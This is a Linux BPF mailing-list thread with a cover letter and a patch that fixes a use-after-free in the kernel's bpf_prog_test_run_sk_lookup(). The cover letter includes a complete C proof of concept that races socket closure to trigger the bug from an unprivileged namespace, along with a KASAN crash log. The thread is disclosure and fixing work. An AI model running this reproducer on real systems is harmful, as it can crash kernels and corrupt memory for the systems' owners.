BPF List
 help / color / mirror / Atom feed
* [PATCH 0/1]bpf: Fix use-after-free in bpf_prog_test_run_sk_lookup
@ 2026-08-29 15:35 Ren Wei
  2026-08-29 15:35 ` [PATCH 1/1] bpf: Fix use-after-free in bpf_prog_test_run_sk_lookup() Ren Wei
  0 siblings, 1 reply; 2+ messages in thread
From: Ren Wei @ 2026-08-29 15:35 UTC (permalink / raw)
  To: bpf, netdev
  Cc: ast, daniel, andrii, eddyz87, memxor, martin.lau, song,
	yonghong.song, jolsa, emil, davem, edumazet, kuba, pabeni, horms,
	lmb, vega, rakukuip, weir

From: Luxiao Xu <rakukuip@gmail.com>

Hi Linux kernel maintainers,

We found and validated an issue in net/bpf/test_run.c. The bug is reachable by
an unprivileged user with user/net namespace capabilities (or where unprivileged
BPF is enabled).
We've tested the fix, and it does not break any existing test-run functionality.

We will provide detailed information about the bug below, along with the root
cause and the proposed fix (and a PoC).

---- details below ----

Bug details:

In `bpf_prog_test_run_sk_lookup()`, `bpf_test_timer_leave()` is invoked
immediately after the repeat loop finishes, which drops the RCU read-side lock
via `rcu_read_unlock()`. Subsequently, the kernel dereferences `ctx.selected_sk`
(checking `ctx.selected_sk->sk_reuseport` and calling `sock_gen_cookie(ctx.selected_sk)`)
outside of the RCU read-side critical section.

`bpf_sk_lookup_assign()` explicitly allows selecting non-refcounted sockets
whose lifecycles are protected solely by RCU grace periods. While the program
execution itself runs under RCU protection (established by `bpf_test_timer_enter()`),
dropping the RCU lock before dereferencing `ctx.selected_sk` opens an unprotected
window.

Consequently, if the selected socket is closed concurrently and reclaimed by
RCU callbacks (e.g., `call_rcu` -> `__sk_destruct` -> `kmem_cache_free`) after
the timer loop finishes, accessing `ctx.selected_sk` triggers a slab-use-after-free
(UAF).

Proposed Fix:

We fix this by deferring the `bpf_test_timer_leave()` invocation until after
`ctx.selected_sk` has been checked and its cookie is generated. This keeps
`ctx.selected_sk` continuously protected by the RCU read lock from the final
iteration, while preserving the cooperative scheduling (`cond_resched()`) and
grace period progress inside `bpf_test_timer_continue()`.

Reproducer:

    gcc -O2 -static -o poc poc.c
    unshare -Urn ./poc

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------

#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sched.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
#define LOG_BUF_SIZE (1U << 20)
#define LOOP_ITERS 120000
#define HOG_THREAD_COUNT 4

#ifndef BPF_PSEUDO_MAP_FD
#define BPF_PSEUDO_MAP_FD 1
#endif

#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
	((struct bpf_insn){ .code = CODE, .dst_reg = DST, .src_reg = SRC, .off = OFF, .imm = IMM })
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
	BPF_RAW_INSN(BPF_LD | BPF_DW | BPF_IMM, DST, SRC, 0, (__u32)(IMM)), \
	BPF_RAW_INSN(0, 0, 0, 0, ((__u64)(IMM)) >> 32)
#define BPF_LD_MAP_FD(DST, MAP_FD) BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_MOV64_IMM(DST, IMM) BPF_RAW_INSN(BPF_ALU64 | BPF_MOV | BPF_K, DST, 0, 0, IMM)
#define BPF_MOV64_REG(DST, SRC) BPF_RAW_INSN(BPF_ALU64 | BPF_MOV | BPF_X, DST, SRC, 0, 0)
#define BPF_ALU64_IMM(OP, DST, IMM) BPF_RAW_INSN(BPF_ALU64 | BPF_OP(OP) | BPF_K, DST, 0, 0, IMM)
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) BPF_RAW_INSN(BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, DST, 0, OFF, IMM)
#define BPF_JMP_IMM(OP, DST, IMM, OFF) BPF_RAW_INSN(BPF_JMP | BPF_OP(OP) | BPF_K, DST, 0, OFF, IMM)
#define BPF_CALL_HELPER(FUNC) BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, FUNC)
#define BPF_EXIT_INSN() BPF_RAW_INSN(BPF_JMP | BPF_EXIT, 0, 0, 0, 0)

static int g_prog_fd = -1;
static int g_sock_map_fd = -1;
static int g_sync_map_fd = -1;
static int g_port = 31337;
static int g_hog_cpu = 0;
static volatile int g_stop_hogs = 0;
static void pin_current_thread_to_cpu(int cpu);

/* Match include/uapi/linux/bpf.h in this kernel tree. */
struct bpf_sk_lookup_ctx {
	union {
		uint64_t sk;
		uint64_t cookie;
	};
	uint32_t family;
	uint32_t protocol;
	uint32_t remote_ip4;
	uint32_t remote_ip6[4];
	uint16_t remote_port;
	uint16_t pad16;
	uint32_t local_ip4;
	uint32_t local_ip6[4];
	uint32_t local_port;
	uint32_t ingress_ifindex;
};

static int bpf_sys(enum bpf_cmd cmd, union bpf_attr *attr)
{
	return syscall(__NR_bpf, cmd, attr, sizeof(*attr));
}

static int create_map(enum bpf_map_type type, uint32_t key_size, uint32_t value_size,
		      uint32_t max_entries)
{
	union bpf_attr attr;

	memset(&attr, 0, sizeof(attr));
	attr.map_type = type;
	attr.key_size = key_size;
	attr.value_size = value_size;
	attr.max_entries = max_entries;
	return bpf_sys(BPF_MAP_CREATE, &attr);
}

static int map_update(int fd, const void *key, const void *value, uint64_t flags)
{
	union bpf_attr attr;

	memset(&attr, 0, sizeof(attr));
	attr.map_fd = fd;
	attr.key = (uintptr_t)key;
	attr.value = (uintptr_t)value;
	attr.flags = flags;
	return bpf_sys(BPF_MAP_UPDATE_ELEM, &attr);
}

static int map_lookup(int fd, const void *key, void *value)
{
	union bpf_attr attr;

	memset(&attr, 0, sizeof(attr));
	attr.map_fd = fd;
	attr.key = (uintptr_t)key;
	attr.value = (uintptr_t)value;
	return bpf_sys(BPF_MAP_LOOKUP_ELEM, &attr);
}

static int map_delete(int fd, const void *key)
{
	union bpf_attr attr;

	memset(&attr, 0, sizeof(attr));
	attr.map_fd = fd;
	attr.key = (uintptr_t)key;
	return bpf_sys(BPF_MAP_DELETE_ELEM, &attr);
}

static int load_prog(int sock_map_fd, int sync_map_fd)
{
	char *log_buf;
	int fd;
	union bpf_attr attr;
	struct bpf_insn insns[] = {
		/* r6 = ctx */
		BPF_MOV64_REG(BPF_REG_6, BPF_REG_1),
		/* key = 0 */
		BPF_ST_MEM(BPF_W, BPF_REG_10, -4, 0),
		BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
		/* sk = map_lookup(sock_map, &key) */
		BPF_LD_MAP_FD(BPF_REG_1, 0),
		BPF_CALL_HELPER(BPF_FUNC_map_lookup_elem),
		/* if (!sk) goto pass */
		BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 33),
		BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
		/* bpf_sk_assign(ctx, sk, 0) */
		BPF_MOV64_REG(BPF_REG_1, BPF_REG_6),
		BPF_MOV64_REG(BPF_REG_2, BPF_REG_7),
		BPF_MOV64_IMM(BPF_REG_3, 0),
		BPF_CALL_HELPER(BPF_FUNC_sk_assign),
		/* bpf_sk_release(sk) */
		BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),
		BPF_CALL_HELPER(BPF_FUNC_sk_release),
		/* sync_map[0] = 1 */
		BPF_ST_MEM(BPF_DW, BPF_REG_10, -16, 1),
		BPF_ST_MEM(BPF_W, BPF_REG_10, -4, 0),
		BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
		BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
		BPF_LD_MAP_FD(BPF_REG_1, 0),
		BPF_MOV64_IMM(BPF_REG_4, BPF_ANY),
		BPF_CALL_HELPER(BPF_FUNC_map_update_elem),
		/* set loop args: r9=sync_map, r8=&key, r7=&value, r6=counter */
		BPF_LD_MAP_FD(BPF_REG_9, 0),
		BPF_MOV64_REG(BPF_REG_8, BPF_REG_10),
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, -4),
		BPF_MOV64_REG(BPF_REG_7, BPF_REG_10),
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, -16),
		BPF_MOV64_IMM(BPF_REG_6, 0),
		/* loop: keep updating sync_map to stretch runtime */
		BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
		BPF_MOV64_REG(BPF_REG_2, BPF_REG_8),
		BPF_MOV64_REG(BPF_REG_3, BPF_REG_7),
		BPF_MOV64_IMM(BPF_REG_4, BPF_ANY),
		BPF_CALL_HELPER(BPF_FUNC_map_update_elem),
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1),
		BPF_JMP_IMM(BPF_JLT, BPF_REG_6, LOOP_ITERS, -7),
		/* return SK_PASS */
		BPF_MOV64_IMM(BPF_REG_0, SK_PASS),
		BPF_EXIT_INSN(),
		/* pass */
		BPF_MOV64_IMM(BPF_REG_0, SK_PASS),
		BPF_EXIT_INSN(),
	};

	/* Patch map fds in BPF_LD_MAP_FD instructions. */
	insns[4].imm = sock_map_fd;
	insns[21].imm = sync_map_fd;
	insns[25].imm = sync_map_fd;

	memset(&attr, 0, sizeof(attr));
	attr.prog_type = BPF_PROG_TYPE_SK_LOOKUP;
	attr.expected_attach_type = BPF_SK_LOOKUP;
	attr.insn_cnt = ARRAY_SIZE(insns);
	attr.insns = (uintptr_t)insns;
	attr.license = (uintptr_t)"GPL";

	fd = bpf_sys(BPF_PROG_LOAD, &attr);
	if (fd >= 0)
		return fd;

	log_buf = calloc(1, LOG_BUF_SIZE);
	if (!log_buf)
		return -1;

	attr.log_buf = (uintptr_t)log_buf;
	attr.log_size = LOG_BUF_SIZE;
	attr.log_level = 1;
	fd = bpf_sys(BPF_PROG_LOAD, &attr);
	fprintf(stderr, "BPF_PROG_LOAD failed: %s\nVerifier log:\n%s\n", strerror(errno), log_buf);
	free(log_buf);
	return fd;
}

static int make_listener(int port)
{
	struct sockaddr_in addr;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		return -1;

	memset(&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_port = htons(port);
	addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);

	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		goto err;
	return fd;
err:
	close(fd);
	return -1;
}

static int prog_test_run_once(void)
{
	union bpf_attr attr;
	struct bpf_sk_lookup_ctx ctx;

	memset(&ctx, 0, sizeof(ctx));
	ctx.family = AF_INET;
	ctx.protocol = IPPROTO_UDP;
	ctx.remote_ip4 = htonl(0x7f000002);
	ctx.local_ip4 = htonl(0x7f000001);
	ctx.remote_port = htons(23456);
	ctx.local_port = g_port;

	memset(&attr, 0, sizeof(attr));
	attr.test.prog_fd = g_prog_fd;
	attr.test.repeat = 1;
	attr.test.ctx_in = (uintptr_t)&ctx;
	attr.test.ctx_size_in = sizeof(ctx);
	attr.test.ctx_out = (uintptr_t)&ctx;
	attr.test.ctx_size_out = sizeof(ctx);

	if (bpf_sys(BPF_PROG_TEST_RUN, &attr) < 0)
		return -errno;
	if (ctx.cookie == 0)
		return -ENOENT;
	return 0;
}

struct runner_result {
	int err;
};

static void *runner_thread(void *arg)
{
	struct runner_result *res = arg;

	pin_current_thread_to_cpu(g_hog_cpu);
	res->err = prog_test_run_once();
	return NULL;
}

static int wait_for_signal(uint64_t expected, int timeout_ms)
{
	struct timespec ts = { .tv_sec = 0, .tv_nsec = 1000 * 1000 };
	uint32_t key = 0;
	uint64_t value = 0;
	int waited = 0;

	while (waited < timeout_ms) {
		if (map_lookup(g_sync_map_fd, &key, &value) == 0 && value == expected)
			return 0;
		nanosleep(&ts, NULL);
		waited++;
	}

	return -ETIMEDOUT;
}

static void pin_current_thread_to_cpu(int cpu)
{
	cpu_set_t cpuset;

	CPU_ZERO(&cpuset);
	CPU_SET(cpu, &cpuset);
	pthread_setaffinity_np(pthread_self(), sizeof(cpuset), &cpuset);
}

static void *hog_thread(void *arg)
{
	(void)arg;
	pin_current_thread_to_cpu(g_hog_cpu);
	while (!g_stop_hogs)
		asm volatile("" ::: "memory");
	return NULL;
}

static void force_rcu_activity(void)
{
	pid_t pid = fork();

	if (pid == 0) {
		unshare(CLONE_NEWNET);
		_exit(0);
	}
	if (pid > 0)
		waitpid(pid, NULL, 0);
}

int main(void)
{
	uint32_t key = 0;
	uint64_t zero = 0;
	int attempt;
	long ncpu;
	pthread_t hog_threads[HOG_THREAD_COUNT];
	int i;

	memset(hog_threads, 0, sizeof(hog_threads));

	ncpu = sysconf(_SC_NPROCESSORS_ONLN);
	if (ncpu > 1)
		pin_current_thread_to_cpu(1);

	g_sock_map_fd = create_map(BPF_MAP_TYPE_SOCKHASH, sizeof(uint32_t), sizeof(uint32_t), 1);
	if (g_sock_map_fd < 0) {
		perror("create sockhash");
		return 1;
	}

	g_sync_map_fd = create_map(BPF_MAP_TYPE_ARRAY, sizeof(uint32_t), sizeof(uint64_t), 1);
	if (g_sync_map_fd < 0) {
		perror("create sync map");
		return 1;
	}

	g_prog_fd = load_prog(g_sock_map_fd, g_sync_map_fd);
	if (g_prog_fd < 0)
		return 1;

	printf("Loaded sk_lookup prog fd=%d, sockhash fd=%d\n", g_prog_fd, g_sock_map_fd);
	printf("Running attempts until KASAN crash...\n");
	fflush(stdout);

	if (ncpu > 1) {
		for (i = 0; i < HOG_THREAD_COUNT; i++) {
			if (pthread_create(&hog_threads[i], NULL, hog_thread, NULL) != 0) {
				perror("pthread_create(hog)");
				return 1;
			}
		}
	}

	for (attempt = 1; ; attempt++) {
		pthread_t tid;
		struct runner_result res = { .err = 0 };
		int listener_fd;
		int listener_fd_for_map;

		listener_fd = make_listener(g_port);
		if (listener_fd < 0) {
			perror("make_listener");
			return 1;
		}

		listener_fd_for_map = listener_fd;
		if (map_update(g_sock_map_fd, &key, &listener_fd_for_map, BPF_ANY) < 0) {
			perror("sockhash update");
			close(listener_fd);
			return 1;
		}

		if (map_update(g_sync_map_fd, &key, &zero, BPF_ANY) < 0) {
			perror("sync reset");
			close(listener_fd);
			return 1;
		}

		if (pthread_create(&tid, NULL, runner_thread, &res) != 0) {
			perror("pthread_create");
			close(listener_fd);
			return 1;
		}

		if (wait_for_signal(1, 3000) == 0) {
			if (map_delete(g_sock_map_fd, &key) < 0 && errno != ENOENT)
				perror("sockhash delete");
			close(listener_fd);
			listener_fd = -1;
			force_rcu_activity();
		} else {
			fprintf(stderr, "attempt %d: did not observe sync signal\n", attempt);
		}

		pthread_join(tid, NULL);

		if (res.err)
			fprintf(stderr, "attempt %d: BPF_PROG_TEST_RUN error %d (%s)\n",
				attempt, -res.err, strerror(-res.err));

		if (listener_fd >= 0)
			close(listener_fd);
		if (map_delete(g_sock_map_fd, &key) < 0 && errno != ENOENT)
			perror("sockhash delete");

		if ((attempt % 100) == 0) {
			printf("%d attempts\n", attempt);
			fflush(stdout);
		}
	}

	return 0;
}

------END poc.c--------

----BEGIN crash log----

[  735.659588][T27286] =========================================================
[  735.660413][T27286] BUG: KASAN: slab-use-after-free in bpf_prog_test_run_sk_0
[  735.661415][T27286] Read of size 1 at addr ffff88817789c413 by task poc/27286
[  735.662113][T27286] 
[  735.662489][T27286] CPU: 0 UID: 0 PID: 27286 Comm: poc Not tainted 7.0.0-rc6 
[  735.662498][T27286] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, a4
[  735.662515][T27286] Call Trace:
[  735.662526][T27286]  <TASK>
[  735.662530][T27286]  dump_stack_lvl+0x10e/0x1f0
[  735.662639][T27286]  print_report+0xf7/0x600
[  735.662697][T27286]  ? preempt_count_sub+0x13/0xd0
[  735.662747][T27286]  ? __virt_addr_valid+0x1ab/0x330
[  735.662792][T27286]  ? __phys_addr+0x41/0x90
[  735.662802][T27286]  ? bpf_prog_test_run_sk_lookup+0x889/0xd40
[  735.662812][T27286]  kasan_report+0xe4/0x120
[  735.662821][T27286]  ? bpf_prog_test_run_sk_lookup+0x889/0xd40
[  735.662850][T27286]  bpf_prog_test_run_sk_lookup+0x889/0xd40
[  735.662862][T27286]  ? __pfx_bpf_prog_test_run_sk_lookup+0x10/0x10
[  735.662872][T27286]  ? rcu_is_watching+0x3d/0x80
[  735.662903][T27286]  ? __fget_files+0x1a1/0x2f0
[  735.662928][T27286]  ? preempt_count_sub+0x13/0xd0
[  735.662935][T27286]  ? fput+0x70/0xf0
[  735.662947][T27286]  ? __bpf_prog_get+0x7d/0x190
[  735.662976][T27286]  ? __pfx_bpf_prog_test_run_sk_lookup+0x10/0x10
[  735.662985][T27286]  __sys_bpf+0x935/0x3e20
[  735.662999][T27286]  ? __pfx___sys_bpf+0x10/0x10
[  735.663008][T27286]  ? rcu_is_watching+0x3d/0x80
[  735.663016][T27286]  ? trace_irq_enable.constprop.0+0xfd/0x120
[  735.663042][T27286]  ? sched_setaffinity+0x160/0x320
[  735.663063][T27286]  ? should_fail_ex+0x85/0x310
[  735.663131][T27286]  ? __x64_sys_bpf+0x70/0x90
[  735.663137][T27286]  __x64_sys_bpf+0x70/0x90
[  735.663143][T27286]  do_syscall_64+0x116/0x800
[  735.663164][T27286]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  735.663182][T27286] RIP: 0033:0x42846d
[  735.663201][T27286] Code: b3 66 2e 0f 1f 84 00 00 00 00 00 66 90 f3 0f 1e fa8
[  735.663207][T27286] RSP: 002b:00007fbc887820f8 EFLAGS: 00000206 ORIG_RAX: 001
[  735.663221][T27286] RAX: ffffffffffffffda RBX: 00007fbc88782cdc RCX: 0000000d
[  735.663226][T27286] RDX: 0000000000000090 RSI: 00007fbc88782170 RDI: 0000000a
[  735.663229][T27286] RBP: 00007fbc88782110 R08: 00007fbc887826c0 R09: 00007fb0
[  735.663233][T27286] R10: 0000000000000000 R11: 0000000000000206 R12: 00007fb0
[  735.663237][T27286] R13: ffffffffffffffb8 R14: 0000000000000002 R15: 00007ff0
[  735.663244][T27286]  </TASK>
[  735.663246][T27286] 
[  735.684836][T27286] Allocated by task 9357:
[  735.685233][T27286]  kasan_save_stack+0x33/0x60
[  735.685708][T27286]  kasan_save_track+0x14/0x30
[  735.686148][T27286]  __kasan_slab_alloc+0x89/0x90
[  735.686599][T27286]  kmem_cache_alloc_noprof+0x23a/0x6d0
[  735.687096][T27286]  sk_prot_alloc+0x4a/0x1f0
[  735.687580][T27286]  sk_alloc+0x36/0xa60
[  735.687941][T27286]  inet_create+0x286/0xa50
[  735.688371][T27286]  __sock_create+0x2c8/0x6e0
[  735.688813][T27286]  __sys_socket+0x122/0x210
[  735.689241][T27286]  __x64_sys_socket+0x40/0x50
[  735.689716][T27286]  do_syscall_64+0x116/0x800
[  735.690151][T27286]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  735.690713][T27286] 
[  735.690942][T27286] Freed by task 27287:
[  735.691487][T27286]  kasan_save_stack+0x33/0x60
[  735.692032][T27286]  kasan_save_track+0x14/0x30
[  735.692484][T27286]  kasan_save_free_info+0x3b/0x60
[  735.692976][T27286]  __kasan_slab_free+0x5f/0x80
[  735.693400][T27286]  kmem_cache_free+0x295/0x6e0
[  735.693848][T27286]  __sk_destruct+0x44a/0x710
[  735.694297][T27286]  rcu_core+0x454/0xb20
[  735.694702][T27286]  handle_softirqs+0x168/0x740
[  735.695107][T27286]  do_softirq+0xad/0xe0
[  735.695456][T27286]  __local_bh_enable_ip+0xd1/0xf0
[  735.695966][T27286]  rxrpc_bind+0x70/0x2f0
[  735.696406][T27286]  kernel_bind+0xd8/0x130
[  735.696776][T27286]  afs_open_socket+0x227/0x320
[  735.697217][T27286]  afs_net_init+0x501/0x5b0
[  735.697647][T27286]  ops_init+0x12c/0x3b0
[  735.698045][T27286]  setup_net+0xf7/0x290
[  735.698429][T27286]  copy_net_ns+0x3a4/0x5d0
[  735.698828][T27286]  create_new_namespaces+0x26e/0x5b0
[  735.699270][T27286]  unshare_nsproxy_namespaces+0xdc/0x180
[  735.699735][T27286]  ksys_unshare+0x3c2/0x8c0
[  735.700124][T27286]  __x64_sys_unshare+0x1f/0x30
[  735.700514][T27286]  do_syscall_64+0x116/0x800
[  735.700894][T27286]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  735.701419][T27286] 
[  735.701644][T27286] Last potentially related work creation:
[  735.702139][T27286]  kasan_save_stack+0x33/0x60
[  735.702576][T27286]  kasan_record_aux_stack+0xa7/0xc0
[  735.703053][T27286]  __call_rcu_common.constprop.0+0x7c/0x600
[  735.703573][T27286]  sk_destruct+0x68/0xb0
[  735.703924][T27286]  __sk_free+0x89/0x230
[  735.704315][T27286]  sk_free+0x61/0x90
[  735.704642][T27286]  sk_psock_destroy+0x72d/0x7c0
[  735.705071][T27286]  process_one_work+0x62b/0xfb0
[  735.705515][T27286]  worker_thread+0x3fd/0x7e0
[  735.705903][T27286]  kthread+0x221/0x280
[  735.706259][T27286]  ret_from_fork+0x899/0x9b0
[  735.706655][T27286]  ret_from_fork_asm+0x1a/0x30
[  735.707114][T27286] 
[  735.707373][T27286] The buggy address belongs to the object at ffff88817789c0
[  735.707373][T27286]  which belongs to the cache UDP of size 2048
[  735.708447][T27286] The buggy address is located 19 bytes inside of
[  735.708447][T27286]  freed 2048-byte region [ffff88817789c400, ffff88817789c)
[  735.709571][T27286] 
[  735.709776][T27286] The buggy address belongs to the physical page:
[  735.710350][T27286] page: refcount:0 mapcount:0 mapping:0000000000000000 ind8
[  735.711113][T27286] head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapp0
[  735.711864][T27286] memcg:ffff88817789ff81
[  735.712224][T27286] flags: 0x17ff00000000040(head|node=0|zone=2|lastcpupid=0)
[  735.712867][T27286] page_type: f5(slab)
[  735.713262][T27286] raw: 017ff00000000040 ffff8881096d13c0 dead000000000100 2
[  735.713958][T27286] raw: 0000000000000000 00000008000f000f 00000000f5000000 1
[  735.714643][T27286] head: 017ff00000000040 ffff8881096d13c0 dead0000000001002
[  735.715437][T27286] head: 0000000000000000 00000008000f000f 00000000f50000001
[  735.716185][T27286] head: 017ff00000000003 fffffffffffffe01 00000000fffffffff
[  735.717107][T27286] head: ffffffffffffffff 0000000000000000 00000000ffffffff8
[  735.717920][T27286] page dumped because: kasan: bad access detected
[  735.718560][T27286] page_owner tracks the page as allocated
[  735.719119][T27286] page last allocated via order 3, migratetype Unmovable, 0
[  735.721094][T27286]  post_alloc_hook+0xe6/0x100
[  735.721596][T27286]  get_page_from_freelist+0x55c/0x2210
[  735.722126][T27286]  __alloc_frozen_pages_noprof+0x221/0x1cb0
[  735.722791][T27286]  new_slab+0xa2/0x5f0
[  735.723188][T27286]  refill_objects+0xe3/0x430
[  735.723638][T27286]  __pcs_replace_empty_main+0x2ed/0x650
[  735.724161][T27286]  kmem_cache_alloc_noprof+0x559/0x6d0
[  735.724686][T27286]  sk_prot_alloc+0x4a/0x1f0
[  735.725098][T27286]  sk_alloc+0x36/0xa60
[  735.725447][T27286]  inet_create+0x286/0xa50
[  735.725880][T27286]  __sock_create+0x2c8/0x6e0
[  735.726299][T27286]  __sys_socket+0x122/0x210
[  735.726776][T27286]  __x64_sys_socket+0x40/0x50
[  735.727254][T27286]  do_syscall_64+0x116/0x800
[  735.727737][T27286]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  735.728313][T27286] page last free pid 5334 tgid 5334 stack trace:
[  735.728940][T27286]  register_dummy_stack+0x89/0xd0
[  735.729443][T27286]  init_page_owner+0x48/0x940
[  735.730035][T27286]  page_ext_init+0x53e/0x800
[  735.730511][T27286]  mm_core_init+0x142/0x220
[  735.730966][T27286] 
[  735.731206][T27286] Memory state around the buggy address:
[  735.731729][T27286]  ffff88817789c300: 00 00 00 00 00 00 00 00 00 00 00 00 00
[  735.732434][T27286]  ffff88817789c380: fc fc fc fc fc fc fc fc fc fc fc fc fc
[  735.733208][T27286] >ffff88817789c400: fa fb fb fb fb fb fb fb fb fb fb fb fb
[  735.733988][T27286]                          ^
[  735.734439][T27286]  ffff88817789c480: fb fb fb fb fb fb fb fb fb fb fb fb fb
[  735.735201][T27286]  ffff88817789c500: fb fb fb fb fb fb fb fb fb fb fb fb fb
[  735.735972][T27286] =========================================================


-----END crash log-----

Best regards,
Luxiao Xu
Ren Wei


Luxiao Xu (1):
  bpf: Fix use-after-free in bpf_prog_test_run_sk_lookup()

 net/bpf/test_run.c | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 2+ messages in thread

* [PATCH 1/1] bpf: Fix use-after-free in bpf_prog_test_run_sk_lookup()
  2026-08-29 15:35 [PATCH 0/1]bpf: Fix use-after-free in bpf_prog_test_run_sk_lookup Ren Wei
@ 2026-08-29 15:35 ` Ren Wei
  0 siblings, 0 replies; 2+ messages in thread
From: Ren Wei @ 2026-08-29 15:35 UTC (permalink / raw)
  To: bpf, netdev
  Cc: ast, daniel, andrii, eddyz87, memxor, martin.lau, song,
	yonghong.song, jolsa, emil, davem, edumazet, kuba, pabeni, horms,
	lmb, vega, rakukuip, weir

From: Luxiao Xu <rakukuip@gmail.com>

In bpf_prog_test_run_sk_lookup(), bpf_test_timer_leave() is called
immediately after the repeat loop finishes, which drops RCU read-side
protection via rcu_read_unlock(). However, the subsequent code dereferences
ctx.selected_sk (checking sk_reuseport and generating cookie via
sock_gen_cookie()) outside the RCU read-side critical section.

bpf_sk_lookup_assign() explicitly allows selecting non-refcounted sockets
whose lifecycles rely on RCU grace periods. If the selected socket is
concurrently destroyed and reclaimed by RCU callbacks after the timer loop
leaves, accessing ctx.selected_sk results in a use-after-free (UAF).

Fix this by deferring the bpf_test_timer_leave() call until after
ctx.selected_sk has been accessed and processed. This ensures that
ctx.selected_sk remains protected by the RCU read lock held during the final
iteration, while preserving the cooperative scheduling and grace period
progress (via cond_resched()) within bpf_test_timer_continue().

Fixes: 7c32e8f8bc33 ("bpf: Add PROG_TEST_RUN support for sk_lookup programs")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Luxiao Xu <rakukuip@gmail.com>
Signed-off-by: Ren Wei <weir@nebusec.ai>
---
 net/bpf/test_run.c | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/net/bpf/test_run.c b/net/bpf/test_run.c
index 5d51f6cb7d15..e677ec3390e3 100644
--- a/net/bpf/test_run.c
+++ b/net/bpf/test_run.c
@@ -1650,21 +1650,21 @@ int bpf_prog_test_run_sk_lookup(struct bpf_prog *prog, const union bpf_attr *kat
 		ctx.selected_sk = NULL;
 		retval = BPF_PROG_SK_LOOKUP_RUN_ARRAY(progs, ctx, bpf_prog_run);
 	} while (bpf_test_timer_continue(&t, 1, repeat, &ret, &duration));
+
+	if (ret >= 0) {
+		user_ctx->cookie = 0;
+		if (ctx.selected_sk) {
+			if (ctx.selected_sk->sk_reuseport && !ctx.no_reuseport)
+				ret = -EOPNOTSUPP;
+			else
+				user_ctx->cookie = sock_gen_cookie(ctx.selected_sk);
+		}
+	}
 	bpf_test_timer_leave(&t);
 
 	if (ret < 0)
 		goto out;
 
-	user_ctx->cookie = 0;
-	if (ctx.selected_sk) {
-		if (ctx.selected_sk->sk_reuseport && !ctx.no_reuseport) {
-			ret = -EOPNOTSUPP;
-			goto out;
-		}
-
-		user_ctx->cookie = sock_gen_cookie(ctx.selected_sk);
-	}
-
 	ret = bpf_test_finish(kattr, uattr, NULL, NULL, 0, 0, retval, duration);
 	if (!ret)
 		ret = bpf_ctx_finish(kattr, uattr, user_ctx, sizeof(*user_ctx));
-- 
2.43.0

^ permalink raw reply related	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-08-29 15:36 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-08-29 15:35 [PATCH 0/1]bpf: Fix use-after-free in bpf_prog_test_run_sk_lookup Ren Wei
2026-08-29 15:35 ` [PATCH 1/1] bpf: Fix use-after-free in bpf_prog_test_run_sk_lookup() Ren Wei

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox